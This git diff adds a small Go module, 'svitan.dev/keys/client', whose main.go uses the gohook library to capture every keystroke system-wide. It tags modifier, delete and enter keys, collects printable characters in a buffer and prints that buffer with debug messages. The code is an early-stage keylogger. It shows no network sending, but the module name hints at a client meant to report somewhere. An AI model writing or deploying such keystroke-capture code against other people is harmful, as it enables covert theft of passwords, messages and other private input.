diff --git a/client/go.mod b/client/go.mod
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+++ b/client/go.mod
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+module svitan.dev/keys/client
+
+go 1.24.1
+
+require (
+	github.com/robotn/gohook v0.42.0 // indirect
+	github.com/vcaesar/keycode v0.10.1 // indirect
+)
diff --git a/client/go.sum b/client/go.sum
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--- /dev/null
+++ b/client/go.sum
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+github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
+github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
+github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
+github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
diff --git a/client/main.go b/client/main.go
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+++ b/client/main.go
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+package main
+
+import (
+	"fmt"
+
+	hook "github.com/robotn/gohook"
+)
+
+const (
+	SHIFT_RAWCODE = 65505
+	CTRL_RAWCODE  = 65507
+	ALT_RAWCODE   = 65513
+	DEL_KEYCHAR   = 8
+	ENTER_KEYCHAR = 13
+	REG_START     = 32
+	REG_END       = 255
+)
+
+func main() {
+	evChan := hook.Start()
+	defer hook.End()
+	buff := make([]byte, 64)
+
+	for ev := range evChan {
+		switch ev.Rawcode {
+		case SHIFT_RAWCODE:
+			if ev.Kind == hook.KeyDown {
+				buff = append(buff, []byte("[SHIFT]")...)
+			} else if ev.Kind == hook.KeyUp {
+				buff = append(buff, []byte("[shift]")...)
+			}
+			continue
+
+		case CTRL_RAWCODE:
+			if ev.Kind == hook.KeyDown {
+				buff = append(buff, []byte("[CTRL]")...)
+			} else if ev.Kind == hook.KeyUp {
+				buff = append(buff, []byte("[ctrl]")...)
+			}
+			continue
+
+		case ALT_RAWCODE:
+			if ev.Kind == hook.KeyDown {
+				buff = append(buff, []byte("[ALT]")...)
+			} else if ev.Kind == hook.KeyUp {
+				buff = append(buff, []byte("[alt]")...)
+			}
+			continue
+
+		case DEL_KEYCHAR:
+			if ev.Kind == hook.KeyDown {
+				buff = append(buff, []byte("[DEL]")...)
+			}
+			continue
+		}
+
+		switch ev.Keychar {
+		case DEL_KEYCHAR:
+			if ev.Kind == hook.KeyDown {
+				buff = append(buff, []byte("[DEL]")...)
+			}
+			continue
+
+		case ENTER_KEYCHAR:
+			if ev.Kind == hook.KeyDown {
+				fmt.Printf("A")
+				buff = append(buff, []byte("\n")...)
+			}
+			continue
+		}
+
+		if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
+			if ev.Kind == hook.KeyDown {
+				fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
+				buff = append(buff, byte(ev.Keychar))
+			}
+		}
+
+		fmt.Printf("'%s'\n", buff)
+	}
+}